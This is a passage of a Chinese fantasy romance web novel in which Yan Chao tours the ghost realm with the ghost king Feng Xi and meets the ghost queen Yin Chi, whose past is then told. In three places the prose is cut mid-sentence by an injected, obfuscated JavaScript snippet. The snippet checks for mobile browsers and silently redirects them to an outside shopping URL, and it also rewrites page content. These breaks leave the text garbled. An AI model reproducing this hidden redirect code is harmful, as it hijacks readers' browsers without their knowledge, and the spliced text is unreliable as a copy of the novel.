空气一瞬凝结,两个人谁都没有再说话,就这么相对而立,静静地注视着彼此。 风奚的眼中流转着言朝看不懂的情绪,他眼中停驻的是言朝的倒影,仿佛要将她看穿。 言朝咳了一声,尴尬地摸了摸耳垂,道:“我该走了,说好了要为江......不,遥旭准备生辰礼的。” 风奚看了眼她手上的那串沉香珠,道:“那手串你就戴着吧。五日后,你只要摇一摇它,我的人就会去接你。” 言朝道:“好。” 二人在雪山下分别,言朝日夜兼程赶回兴风小筑,她已经迫不及待要把此行的事讲给明祈听了。 但她忘了,话本仙人的《新天稷传——适约篇》,早就已经在他们结束时印刷成册,出现在明祈的面前了。 所以,当言朝回到兴风小筑,见到明祈时,他手里正拿着最新一册的《新天稷传》,在庭前赏花看书喝茶。 言朝一肚子的话全憋回去了,在跟前踌躇了半天,只是道:“您都知道了?” 明祈放下书,朝她招手,示意她过来坐,言朝在他身旁坐下,接过了明祈递过来的茶,看他笑了一声,道:“知道了......朝朝,谢谢你。” 明祈慈爱地摸了摸言朝的头,道:“朝朝,我希望不管将来发生任何事,你,你们都要好好的。” 言朝一把扑进明祈怀里,语气闷闷的,道:“您也要好好的。” 明祈怔了一瞬,温声道:“好。” 29. 入妄生芳心赏莲 两日后,言朝离开了兴风小筑。 她摇了摇那串沉香珠,心想着肯定要等上一会儿,便坐在一棵树下,刚闭上双眼,就听一道声音从前方不远处响起:“对不起姑娘,请恕雅信来迟了。” 言朝猛地睁开眼,就见一衣着朴素,个头不高的男子,微低着头,规规矩矩地站在离言朝五步远的地方,见他面露愧色,心道:“哪里来迟了?明明才过了几息。” 言朝站起身,道:“久闻雅信的大名,都说你们是天上地下最注重时间的,今日一见,果然名不虚传。不过我与鬼王大人事先并未约定具体时间,你不过几息就到了,实在算不得迟。”言朝不知鬼界是如何称呼风奚的,料想应是没几人知道他的真名,但叫公子莲好像也不对,便叫了这么一个挑不出毛病的称呼。 雅信十分恭敬地道:“姑娘过誉了,这都是在下应该做的。” 雅信是来往于人鬼两界的引渡者,他们多是无名无姓的孤魂野鬼,没有来处,自然也入不了轮回,因此就成为了引渡者。 与一般鬼不同的是,他们不受日夜的限制,可以自由来去。他们的职责就是:一、随时引各路亡者入双城;二、在中元节等重要节日时,引生者过了念桥,在往生树为故去的人点灯祈福。 由于他们无名无姓,叫孤魂野鬼又不好听,因此,他们有了一个好听的统称——雅信。 言朝道:“那咱们现在就出发?” 雅信道:“可以。不过时间还早,大人说了,姑娘若是愿意,可让我带姑娘先逛逛了念桥......” “愿意愿意!” 言朝没等雅信说完就一口答应,长这么大,人间走了七七八八,只有天都和鬼域一直没有机会去,这都送上门了,不去就太不应该了。 雅信抬手画了一道符,出现了一道门,雅信解释道:“这里离鬼域有点儿远,在下法力不够,所以要走一段时间,还请姑娘不要介意。” 言朝摇头表示没事,二人一齐进去,一路无言。 不知是不是言朝的错觉,总觉得这个雅信有点熟悉,但就是想不起来在哪见过,他的眼神也有点奇怪,但又说不上是哪里奇怪。 言朝心道:“一定是在家没休息好,所以脑子开始胡思乱想了。” 约莫走了一盏茶的功夫,门再打开时,一个光怪陆离的世界,展现在她面前。 第一个映入眼帘的便是一座琉璃制的桥,那便是了念桥。桥下是千渡川,一望无际,川中长着许多含苞待放的莲花,花叶皆是透明,川中闪着许多幽蓝的光点,衬得莲花如水中幻影,如梦似幻。 桥对岸有一棵树,上面挂满了布条,与凡间的树无异。唯一不同的,那布条不是清一色的红,而是红白相间,上面写满了对亡者的念祷,这便是往生树了。 向上望去,一盏盏天灯构成了漫天的星辰,那是生者与亡者沟通的钥匙,虽已隔世,思念不减。 言朝跟着雅信来到桥上,她看着脚下自己的倒影,久久静默。雅信见她一直不说话,忍不住问道:“姑娘在想什么?” 言朝回过神,笑了一声,道:“在想我下次来时会是什么样的光景?” 雅信没瞧出什么情绪,只当她喜欢此处景致,便向她推荐道:“姑娘下次可等年节的时候来。那时,千渡川的莲花开了,这些光点也会变成金黄色,生人与亡人会在了念桥上举办灯会,姑娘肯定会喜欢的。” 言朝笑了笑,没有回答,而是转身走向往生树,她随手抓起一个红布条,上面写着“世世平安,早日轮回,祈愿再见。” 言朝侧身问道:“为什么这里会有两种颜色的布条?” 雅信没有马上回答,指着前方的两条路,道:“左边这条路是去往望生城的,对应的是红色;右边这条路是去往妄生城的,对应的是白色。” 言朝又抓起一个白布条,上面写着“早赎罪孽,痛改前非。” 一边是希望,一边是妄想。 归处只在一念之间。 雅信望向言朝,眼底没什么情绪,淡声道:“不管是什么样的人,总有人在惦念的。” 言朝怔了一瞬,喃喃道:“那注定被遗忘的人呢?” 雅信没听清,问:“姑娘说什么?” 言朝摆了摆手,道:“没什么,我们接下来去哪?” 雅信指向妄生城的方向,道:“我们去找大人。” 言朝跟着雅信走,越走越觉得这里气氛萧索诡谲,阴气郁郁,头顶时不时还有黑鸦飞过,发出“嘎嘎”的叫声。言朝却不觉恐怖,反而有点想念墨墨,也不知小山他们是否一切安好? 来的路上,遇到了很多押送亡灵的雅信,他们大多身着白衣,面无表情,押送的亡灵有的披头散发,四肢不全,有的锦衣华服,容光满面。 再反观自己面前的这位雅信,既没有和他的同僚衣着相同,也没有像他们一样面无表情。同样都是雅信,面前的这位显然更有生气。 言朝不解道:“为何你们同为雅信,行为举止却大不相同?难道你们也像这这两座城一样,有区别?” 雅信回头一笑,有些得意道:“不,都一样。只不过,我是最特别的那个。” 正在此时,言朝的视线豁然开朗,一片红绿交织映入眼帘。 这是一个巨大的香炉。 炉中的三根香在缓缓燃着,那些被押送的亡灵,都不约而同地驻足在香炉前拜上一拜。他们神色各异,有的痛苦,像是认命般接受自己的结局;有的欢喜,胸有成竹似的毫不畏惧,全然不知他即将要面临什么样的结局。 言朝跟着雅信走在后面,过了那道香炉门,便是一条一眼望不到头的长廊。 长廊两侧是深不见底的潭水,时不时从潭底发出骇人的嘶吼和哀鸣,水面上还浮着七窍流血的,绿幽幽的残魂,它们终年困于潭中,早已失了神智,但却无时无刻不想要挣脱。 它们用残存的四肢死死地扒着石板,没有四肢就用牙咬,牙没了就用眼睛饥渴般盯着上面过往的“人”,祈祷有一个能恰好失足落水,好和它们共沉沦,成为它们的盘中餐...... 周而复始,一直到魂魄被彻底吞噬的那一天。 想什么来什么,前面还真有一个落水的,水中的残魂一齐朝他扑过去,啃食撕咬,发出桀桀的笑声。他挣扎着求救,却无人理会,须臾之间,那“人”就变成它们的同类了。 后面的见状,生怕自己也掉下去,异常团结地紧靠中间排队走,谁也不敢掉队。 走着走着,他们来到了一座偌大的黑色建筑之前。 这建筑,可谓是气派庄严,立柱、屋顶、外墙,全都漆成了肃穆庄重的黑色,比春山楼还要气派许多,庄重之上,又多了一层慑人的威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144439|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压。那些“人”光是看着,便心生畏惧。门内安静如斯,听不到什么声响,这里,应该就是公子莲的大殿了。 雅信低声道:“大人就在里面,姑娘直接进去就是,在下就不陪姑娘进去了。” 言朝刚想同他道谢,怎料一眨眼的功夫,人就不见了。 言朝失笑,心想这雅信还真是来无影去无踪。她跟在后面走进大殿,殿内可谓是十分“热闹”。 才一进去,一个妆容精致的提线人偶倏地从上方坠下,洽与一“人”对视,只见那人偶露出一个机械般的微笑,道:“堂下可要与我共舞一曲?”不等那“人”回答,人偶的双臂便缠上那“人”的脖颈,瞬间就变成了一具人偶,任凭摆布。 后面的都不敢做声,有一个甚至吓得想跑。却被一个浑身被缝起来的线鬼,像捏着一只蚂蚁一般捏在手中,线鬼把玩了一会儿,随即就将其吞入腹中,食髓知味似的舔舔嘴,线鬼俯身望着这些小东西,却找不到一个合胃口的,只得悻悻离场。 接下来的,有的被火烤、有的被水淹、有的被割舌挖眼、有的被万箭穿心...... 他们一个个的等待着自己二次死亡的结局,无不心惊胆战,痛哭求饶,但有一个却始终例外。 他是这批亡灵里的最后一个,不知他使了什么手段,又或者付出了什么代价,他像是完全不担心自己会再次死亡。 言朝静静地在后面看戏。 就见他大摇大摆地走到大殿的尽头,尽头之上,一个蓝衣身影,闲闲地靠在一张椅子上。 距离有点儿远,言朝看不真切,那人正是风奚。 静默须臾,就听他道:“我要投胎转世!世世为人!” 她似乎听到风奚笑了一声,懒洋洋地道:“世世为人,哪有这等好事?你既已来了这妄生城,便该知道结果。为人?你也配。” 他却不以为意,反而更加嚣张:“我知道自己不是好人,也没做过什么好事,但我有钱!很多的钱!我用所有钱跟你交换!” 风奚道:“不够。” 他有些着急,开始口不择言道:“那我就用我的灵魂跟你交换!!!” 风奚道:“你的灵魂值几钱?脏东西。” 风奚这句话极具轻蔑之意,似是不愿再听他废话,食指轻轻一抬,他就化为灰烬,融入了这大殿的地基当中。 风奚缓缓起身,望向还在看戏的言朝,笑道:“桃花看得可开心?” 言朝边向前走边鼓掌道:“鬼王大人威武。久闻公子莲的大名,今日得见,真是让我大开眼界啊!” 言朝走到跟前,终于看清了风奚的样子。 依旧是一袭蓝衣,肤白如玉。只是银发如霜,银丝的狼狐面具之下,轮廓更加明晰,虽不见其真容,但足见沉稳从容。比之先前那个少年,现在更像一个男人。 她看不到他的眼睛,但心里就是有种感觉,他看向她时,是在笑的。 风奚摘下面具,他的额间有一白色的莲花印记,颇有一丝仙风道骨的仙气,但他眉宇之间的狂情野气,又添了一丝鬼王的邪魅。两种气质在他身上融合的恰到好处,毫无违和之意。 他的双眸依旧明朗如星,只是,他的左眼是灰色的。 言朝愣了一瞬,转而笑道:“重新认识一下,我叫言朝。” “我言秋日胜春朝的言朝。” 30. 入妄生芳心赏莲2 风奚看上去一点儿也不惊讶,反而很开心,道:“那我可以叫你朝朝吗?” 言朝笑道:“当然可以。不过你不问问我为何还有一个名字吗?” 风奚走上前来,道:“出门在外,编造身份都是正常,换个名字又有什么稀奇。你愿意告诉我,证明你信任我,我又何必多此一问呢?” 言朝轻笑了一阵,道:“我觉得你说的很有道理。” 言朝上前几步,围着他看了一圈。 之前还是莲溪时,风奚都是黑发束着高马尾,此时却是蓝衣如水,银发披肩,俊美已极,似仙似妖,半真半假。先前那条发带与银莲花流苏发夹结合,风过留声,更显高贵。右耳仍旧戴着那只银质狼性耳扣,野气不羁。他一身蓝衣白靴,负手而立,身材修长,似笑非笑道:“看着如何?可还满意?” 言朝凑到身前,倾身看他,道:“这就是你的本相吗?” 风奚挑眉道:“如假包换。” 言朝点点头,低声嘀咕一句:“没想到长得还挺像的。” 风奚道:“你说什么?” 言朝半真诚半挑逗地道:“我说,你戴面具真是一个明智的选择。你这么好看,要是被你那些追随者和信徒们知道,只怕你的城就要被他们踏平了。” 风奚唇边扬起一抹几不可查的笑意,道:“他们不会看到的。”说罢,又将面具重新戴上了。 从前只闻公子莲杀伐果断,恩威并施,受万鬼敬仰的同时,也对他敬而远之。看不透也猜不破,只知道有他在,鬼界永远都不会乱。 不知是不是言朝的错觉,总觉得他戴上面具时又变成了另一个人,变成了那个传闻中的公子莲,而面具之下的,才是他自己,风奚。 言朝心底涌上一股难言的情绪,心道:“想要坐上鬼王的位置,并一统整个鬼界,绝非易事。他一个人走到今天,想必是吃了不少苦头。如果没有那件事就好了......” “朝朝,那你有没有扮过别人?” “朝朝。” “朝朝......” “朝朝,你怎么了?” 言朝陷入思绪当中,风奚连唤了好几声,才恍然回过神来,怔怔地看向风奚,道:“对不起,你刚才说什么?我没听清。” 风奚无奈地笑了一声,一字一句,缓缓道:“我说你有没有扮作过别人?” 言朝仔细回忆了一番,道:“有过,但可不比你们这些有法术的,想要什么皮相随便就能换了。扮过之后得到的结果,我 还是喜欢我原本的样子。” 风奚想到了一个人,道:“这里有个鬼倒是与你不谋而合。你若见到她,应该会相处的很愉快。” 言朝好奇道:“是谁是谁?” 风奚故意卖关子,道:“跟我走吧,一会儿你就能见到她了。” 言朝跟着风奚出了大殿,回头一望,才看到“妄生殿”几个大字。步上长廊,方才两侧潭中的残魂见了风奚,都吓得躲回潭底,就连声响也不曾发出,周围瞬间就安静了下来。 言朝忽然想到一句话:比鬼更可怕的是人 不一定是人,也可能是更厉害的鬼。 好一座妄生城,好一座妄生殿,好一个公子莲。 出去的路上,又碰到了一些雅信和鬼差,他们见了二人都是侧身行礼,风奚点头示意。言朝走在她身后,忽然觉得有点儿神气,也算是体验了一把当鬼王的感觉,心里这么想着,竟不由地笑出了声。 风奚停下脚步,转身看她,道:“什么事笑得这么开心?” 言朝也不藏着掖着,笑道:“春山楼的名号已经够气派了,今日又有幸体验了一回当鬼王的感觉,当然很开心啊!” 风奚道:“可你看上去并不像喜欢这些名头的人。” 言朝顿了一下,淡声道:“我确实不喜欢。站得有多高,就意味着要付多大的责任。” “可有些东西逃不掉,我会坦然接受,但那是出于我自愿选择,绝非别人强加于我。” “就像有人豪言壮语要拯救苍生,我对苍生可没兴趣。可若有那么一天,有人告诉我注定就是要这么做,我一定会说‘这是我自己的选择,而不是因为谁选中了我’。” “我会尽我所能保护我在乎的人,我绝不受人摆布,旁人也休想伤我分毫。” 言朝最后这几句话说得坚定又决绝,仿佛无论是谁都无法左右她做下的决定,无论是谁都别妄图伤害她,若要害,势必要付出惨痛的代价。 风奚望向言朝,须臾的静默,他笑了一声,道:“真巧,我对苍生也没兴趣。”一语毕,他收起了笑容,又正色道,“我发誓,无论何时何地发生任何事情,我永远都不会伤害你。” 说这话时,言朝从他极度认真的眼神中,意外看到了一丝遗憾和懊悔? 言朝几乎下意识问道:“是不是只要我需要,你就会出现在我面前,就像这串沉香珠一样。” 风奚道:“只要你需要我,无论何时何地,你目光所及之处,我就在你眼前。” 他的话说得无比真诚又郑重,但言朝实在想不通,他们明明才认识不久,却有一种好像相识已久的感觉。 难道他已经知道自己是谁了? 但感觉又不像,倒像是很久以前见过,可又实在想不起来有这号人。 若是真的见过,她一定不会忘记,但也不一定。 言朝道:“似乎从我们相遇开始,你一直都在有意无意的帮助我,但你从不会干涉我。你到底是谁?我们以前是不是见过?” 风奚没有回答她的问题,只是说:“我想你一定一个人去了很多地方,你最懂得如何保护自己,完全具备应对能力。我若是做得多了,岂不是会弄巧成拙。” 话音刚落,风奚便转身继续走,边走边道:“遥旭他们应该快到了,咱们也别迟了,今日我下厨。” 言朝本来还想问个明白,但一听到吃,便将那些事先抛诸脑后了。她小跑三两步追上他,兴冲冲地道:“今日又是什么好吃的?” 风奚看向她,道:“火锅,喜欢吗?” 言朝狂点头,十分期待地搓了搓手,道:“那可太喜欢了!我还喜欢吃辣火锅!而且火锅就是要人多才热闹,最重要的就是氛围。” 风奚点头赞同道:“我也这么觉得。火锅是遥旭最爱吃的,他每年生辰都要点名吃火锅,这么多年了,百吃不腻。” 言朝道:“你们的感情真好。我早就看出来了,虽然你经常嘴上嫌弃他,但你是最关心他的。” 风奚“哼”了一声,道:“他才不需要我关心,他需要的是别人的关心。” 二人走着走着,就从妄生城来到了望生城。 这是一座看上去很正常的城,与人间的州城差不多大。 比起刚刚在妄生城看到的种种,单看外观,实在是普通的不能再普通。 但踏进城中,却又是另一番景象。 这是一条长街。 长得望不到尽头,大街两侧挤满了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151215|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各式各样的商铺和小贩,街上“人”来“人”往,长得可谓“奇形怪状”。有的肥胖如球,有的瘦如麻杆,有的扁的只能直视,换个角度可能就看不到了。但也有一些“正常人”,兽首人身,人首兽神,或者在人兽之间来回转换。 抬头望去,此处的灯与人间的灯笼不同,这里漫天飞着各种五彩斑斓的鱼灯,路上的行“人”若是遇到喜欢的,便会抬手摘下。 但也不全是用手,有的站在原地伸长了脖子,有的吐出了沾满了口水的舌头,有的又像是叠罗汉一般,一个接一个地往上爬...... 摘下一个灯笼,就会马上补上一个新的。 言朝觉得很有意思,但有个疑问,道:“要是碰巧几个人喜欢上同一个灯笼,那该怎么办?” 风奚笑了一声,指着不远处正在为一盏鱼灯争论的黄牛精和狐狸精。 黄牛精叉着腰,拨弄了一下鼻环,道:“这灯是我老牛先看见的,就应该归我!” 狐狸精不服气,指着他的胸肌,道:“你个只长肉不长脑的大蠢牛!我离那灯就一步之遥,要不是你牛高马大的把我给顶下来,这灯怎么可能是你的?根本就是属于我的!” 黄牛精捶胸顿足,仰天“哞”了几声,大声道:“我先看见的!就是我的!你这狐狸休要胡搅蛮缠!” 狐狸精亮出一条尾巴,照着黄牛精的脸狠狠地抽了一下,登时将那黄牛精扇得眼冒金星,道:“这灯是我的!就是我的!我的我的我的!!!” 黄牛精捂着牛脸,故作谦让道:“我看你是个女狐,不与你计较!但绝不会有下次!”说完就灰溜溜的走了。 狐狸精心满意足地摘下鱼灯,口中哼着小曲,步姿妖娆的走了。她今日心情大好,路遇一只浑身长满脓包的猥琐□□精,都朝其抛了个媚眼。谁料那□□精却以为是狐狸看上了他,便巴巴地凑了上去,狐狸一把将□□推开,嫌弃地擦擦手,道:“你给老娘死开!别来破坏我的好心情!” 街上众人见状,刹那间,爆发出一阵鬼哭狼嚎的大笑:“哈哈哈哈哈哈哈哈哈哈哈......” “真是癞蛤蟆想吃天鹅肉......不对,他胆子更大,要吃狐狸肉!” 又是一阵爆笑。 □□精脸上挂不住,一口气转圈朝笑他的人猛吐黏液,顷刻之间,那些笑话的人就被浑身沾满了黏液。身上的皮肤瞬间就鼓起了一个个红里透着黑的大脓包,奇痒无比,又仿佛被千万只蚂蚁上身,疼的倒在地上直打滚。 □□精哈哈大笑几声,瞧他们一个个已经不成人样,得意道:“让你们笑我!我就让你们变得跟我一样!” 言朝看着眼前发生的这一幕幕,怔在原地大半天,脸上不知道该用什么样的表情来形容此刻的心情,和她事先想的有些不一样。 她原以为这里或许和人间的城市一样,祥和安乐,但安乐有余,却带着情理之中的诡异。 但这里与妄生城相比,确实充满生气。 真真是群魔乱舞,充满希望。 风奚凑到她耳畔,道:“感觉如何?” “感觉挺好。”言朝忽地转身与他对视,两人挨得很近,风奚像是没料到她会转身,一时僵在原地,不敢再动。 言朝也有些不知所措,看着近在咫尺的风奚,小心翼翼地咽了一声,正当二人想要各退一步时,一个尖细的声音打断了他们。 “公子,近来可好啊?” 二人循声望去,是赫泊。 那个笑面书生。 31. 半闲坊千相会君 赫泊惯常背着箱笼,佝偻着身子,瘦弱苍白,嘴角挂着一丝漫不经心的笑,在风奚面前自成一隅。 他好似浑然不在意眼前的人会如何如何,仿佛只是寻常遇见打个招呼,回与不回都行。 风奚望了他一眼,淡声道:“有事?” 赫泊低笑了两声,扯着嗓子道:“这不是难得见您身边多了个人,一时新鲜,就想来看看。”他继而望向言朝,眼神有些复杂,又道,“在下赫泊,是这三界第一好的画师,姑娘可要做一幅画?” 语气里满是对自己画工的自信,还有一个天才画师独有的傲气张扬。 言朝闻言一愣,她突然就想起何伯,怎么这么像呢?难道他们还有别的关系? 言朝半开玩笑地道:“给我作画?难不成是想把我给收进画中给你招点信徒吗?” 赫泊哈哈笑了两声,边卸下箱笼边道:“看来姑娘对我的事迹很了解嘛。不过我只是想单纯的给姑娘作画,那等事情就让天上那些臭神仙来做吧。”话毕,不等言朝说话,赫泊就兀自画了起来。 他支起画架,铺上画纸,坐在小马扎上,认真地作画。 他神情专注,线条流畅,下笔不带一丝犹豫,言朝看到他的额上不知不觉间已经布满了细细密密的汗珠。 言朝忽然觉得刚刚的话说得欠妥。 暂且不论他与何伯在胜春镇做的那些事情,就单他画师的身份来说,平心而论,他的能力确实是鲜有人及,他对待画作也是极其认真的。即便是那些他瞧不上的神仙,他也画的认真,不掺半点怨恨。 这一点,她当初在雪山神庙中就已经知道了。 不多时,赫泊画好了,小心翼翼地取下画纸,满意地看了两眼,然后才郑重地交给言朝。 言朝接过一看,不由惊叹,他笔下的自己生动传神,笔法细腻精致,一时间竟有些不敢认。 这画上并无任何法力的痕迹,他真的就只是单纯地画一张画。 风奚看了一眼,也颇为赞许的点了点头,虽然他不太喜欢赫泊,但对他的画技还是十分认可的。 言朝由衷地道:“谢谢你为我作画。你确实很厉害,你的画工担得起‘三界第一画师’的名号。你有身为画师的风骨,我刚刚不该那么说。” 赫泊像是早已习惯了这样的夸奖,他只是静静地收拾东西,面上没什么情绪。但在听到后半句时,他明显顿了一下,那对诡异幽暗的白眸有了一丝光亮,忽然觉得今天这幅画值了。 赫泊重新背上箱笼,抬眼打量着言朝,笑道:“公子已非凡人,想不到这位姑娘也不是个凡人。”他上前一步,低声对言朝道:“若是下次有缘得见,赫泊还愿给姑娘作画。”继而又看向风奚,抬高了音量,“若是公子也在,可以一起。” 说罢,他便背起箱笼,头也不回地走了,很快就消失在人群中。 言朝道:“他为什么会出现在这?” 风奚抱着双臂,道:“多半是上次的事情让他心里不快,想来这找点乐子。但在我的地盘上,他不敢造次,所以就只能来看看。” 言朝偏头看向他,道:“你似乎不怎么喜欢他。” 风奚坦白道:“我确实不怎么喜欢他。我虽认可他的画,但他性子古怪偏激,以他现在的身份,如果受了刺激,就会被人利用成为一把杀人的刀。” 言朝道:“我有没有告诉过你,胜春的那个鬼叫何伯?” 风奚挑了下眉,道:“这就有意思了。鬼的魂体不分家,即便是分身,也不能改变。没有一魂的不过是具空壳子,即便有法力意识也维持不了太久,那东西显然两者都不具备。” 言朝隐隐有一丝不安,道:“这事恐怕不简单......” 风奚拍了拍她的肩,笑道:“天大的事压下来也得先吃饱饭再说。走吧,去吃火锅!” 言朝想想也是,当即就在大街上伸伸胳膊伸伸腿,为一会儿能多吃几口做准备。 风奚被她逗笑了,抬眼看看上面的鱼灯,道:“要不要选一盏灯?鱼灯会给你带来好运。” 言朝停下动作,期待地望向漫天的鱼灯,看得眼花缭乱,最后在众多鱼灯中挑了一盏极普通的。没有复杂的装饰,只是最简单的配色和样式。 她撑开伞朝空中一抛,就将那盏鱼灯带了下来,她将鱼灯提在手上,笑道:“还真是抬头见喜了。” 二人继续往前走,走着走着就看见前方的河道上驶来一艘很大的黑船。大到面前只能看到一堵黑墙,仰头望去,船上还有四层楼台,最上面的那层高挂着一块匾额——半闲坊。 黑船从氤氲迷雾中缓缓驶出,船上灯火通明,载歌载舞,甲板上有十多个画着花脸的小鬼,一边咯咯笑,一边朝河中撒纸钱纸花,口中念叨着:“半闲半闲,闲着闲着就快乐了,半着半着就完整了......” 果然,不是阳间的东西都带着点诡异的幽默。 风奚道:“到了。” 言朝惊叹道:“鬼界可真是热闹又壮观!”惊叹之余又觉得惋惜,“可惜春山楼现在休市,要不然说什么也得看看鬼界的春山楼是什么样子。” 风奚道:“那等春山开市时,你若得了闲,欢迎你回来。” 话音刚落,船上出现了一座扶梯,风奚伸手请言朝先走,二人一前一后上了船。 两名接待的小鬼恭敬地向言朝和风奚行礼,引他们入大堂。 大堂内时而是富丽堂皇的红黄二色,时而是神秘清雅的蓝紫二色,地上铺着一层厚厚的华丽的地毯,周围的环境随颜色的变化更迭,仿佛置身两个世界。 这里人头攒动,人人都带着面具,或饮酒作乐,或唱歌跳舞,或谈情说爱,热闹得很。 想吃什么喝什么,朝路过的小鬼招呼一声,小鬼抬手一挥,吃食便在眼前了。但这里并无桌椅,想坐着就自己随便变个东西出来,或者直接坐在地上,躺着趴着,各种姿势都有,极不讲究。 但他们又很规矩,不管他们如何胡吃海塞,姿势如何古怪,总能把叫的东西吃的干干净净的,不剩下,也不脏了半闲坊的地。 小鬼朝不远处伸手,言朝抬眼望去,人群之后,长阶之上,有一面帷幕。而帷幕之后,隐隐看到一个黑白相间的倩影,正懒洋洋地握在一张榻上。恰在此时,堂内的环境换成红黄二色,衬得那抹身影格外的醒目。 风奚附耳低声道:“那就是千相浮游,她就是我说的那个始终坚持以本相示人的鬼。” 小鬼引二人来到帷幕前,帷幕后的身影缓缓起身,修长苍白的指节轻轻挑起帷幕,一张不容逼视的美艳容颜展现在眼前。 她一袭黑白拼接的长裙,英气锐利的眉眼下透着一丝慵懒,红唇微抿,挂着一丝淡漠的笑,她光洁苍白的头颅上没有一根头发,但看着却不觉怪异,反而意外的清爽。 她一手指甲为黑,一手指甲为红,柔弱无骨的双腕上有两道明显的疤痕,那双赤着的双足上亦然。 言朝打量她的同时,她亦在看她,只是这眼神在二人之间来回流转,似是明白了什么,一脸玩味地觑了一眼一旁的风奚,道:“贵客登门,真是让我这半闲坊蓬荜生辉啊!”话说得恭敬,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182922|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气却不见半分客气。 她上前拉起言朝的手,道:“我是殷池,也是千相浮游。你们的事我早就听说了,一直想见见你,今日总算是见上了。” 言朝莞尔,道:“我叫言朝。早就听闻千相大人是鬼界唯一的女鬼王,如今有缘得见,也算是心愿得偿。” 殷池高兴地揽上言朝的肩,带着言朝就往楼上的包间走,刚走出几步,抬手挥了挥,道:“公子就请自行上去吧。”说完朝言朝一笑,亲切地道,“言朝啊,以后就把我这半闲坊当做自己的家啊!别看他是老大,我这可一点也不比他那儿差!” 言朝没想到和殷池的初次见面就如此热情,一时还有些不习惯,只得连声应好。 风奚站在后头,无奈地笑了两声,也跟着上楼了。 包厢内,热腾腾的火锅正咕咕嘟嘟地冒着热气,一股浓厚醇香的麻辣气息扑鼻而来,闻得整个人都暖烘烘的。桌上整齐摆放着各种涮菜和料碟,遥旭和弥清还没到。 殷池招呼言朝坐下,自己兀自挨着言朝坐在了一旁,全然没管风奚。 风奚寻了个位置坐下,照例先给言朝和自己各倒了一杯茶,仔细地检查了一下桌上的菜品,确认没有落下什么后,才悠闲地靠在椅子上喝起了茶。 殷池瞄了一眼风奚,意味深长地笑了一声,转头对言朝道:“你还不知道吧?这火锅底料是公子亲自炒制的,每年的今天他都张罗这么一桌,对弟弟那是真用心。但那弟弟也不错,每年他的生辰也是那位张罗的,兄弟俩感情好的我都有点儿羡慕了,早些年我还想自己怎么没有这么一个贴心的姐妹呢。” 殷池眨眨眼,一手挎上言朝的胳膊,笑道:“我挺喜欢你,不如咱们俩做姐妹,你意下如何?” 言朝愣了一瞬,随即点头,道:“好。” 殷池当即抱住了言朝,哈哈笑了两声,道:“好!那咱们也别整姐姐妹妹那套虚的,你叫我阿池,我叫你阿朝。就这么说定啦!” 言朝也开心地笑了两声,拍了拍殷池的背,道了声“阿池”。 殷池洒脱热情,虽然相处不久,聊的也不多,但两人一见如故。 风奚说得没错,她们俩确实相处得很愉快。 殷池亲昵地靠在言朝的肩上,感叹道:“果然,还是姐妹比那些个臭男人相处起来舒服的多啊!” 殷池与天都的武神陆扬曾是夫妻,二人与帝君含越皆来自凡界的乌目国。不过含越在时是乌目国的全盛时期,陆扬与殷池却是日暮西山,岌岌可危了。 殷池是贵女,陆扬是王室嫡亲公主之子,被当时的皇帝赐婚。二人门当户对,本是一桩美谈佳话,但对他们二人而言不过是一场早就定好的交易。 殷池需要借助陆扬的身份帮她铲除亲父,执掌家族大权,陆扬需要借助殷池家族的财势来扩充边防,为将士们提供保障。 二人本无感情,但在日渐的相处和谋划中逐渐产生了爱意。 他们虽都心系家国,但都是心气儿高且很极致的人,在手刃亲父的当晚,他们在血泊中缠绵,就此结下了深深的羁绊。 他们在爱意浓厚时相生相伴,当爱意消散时仍旧逃不开羁绊。 也没什么特别的原因,就是时间久了感情淡了。 当殷池决心弃他而去时,夜兹大举进犯乌目,皇帝却弃城而逃,王公大臣逃的逃,散的散。只留下了无助的百姓和宁死不降的陆扬与殷池。 在与夜兹殊死抵抗数日后,他们还是败了。 那是从一开始就注定的结局。 一败涂地,但意志不屈。 32. 半闲坊千相会君2 陆扬在城外迎敌,未曾想城中混入了夜兹的奸细,他们以城中百姓要挟殷池,故将她生擒。 帝君含越还是乌目国太子时,与彼时还是夜兹圣女的文神母依喜结良缘,两国的关系也因他们二人达到史无前例的好。 时移世易,后来他们夫妻二人双双成神,还不到十年的光景,天降万灵之力,三界凋敝,苍生苦灵久矣。在那场大战中,母依身死,含越亲手杀了身负万灵之力的挚友,摇身一变成了执掌三界的帝君。 他下令铲除挚友的国家,与昔日挚友春神决裂,对离去的妻子朋友不闻不问,甚至遗弃了自己年幼的孩子。 天下人对此颇有微词,但他大义灭亲,封印了万灵之力,他是救世的神,人们记住更多的还是他为守护苍生做出的壮举。 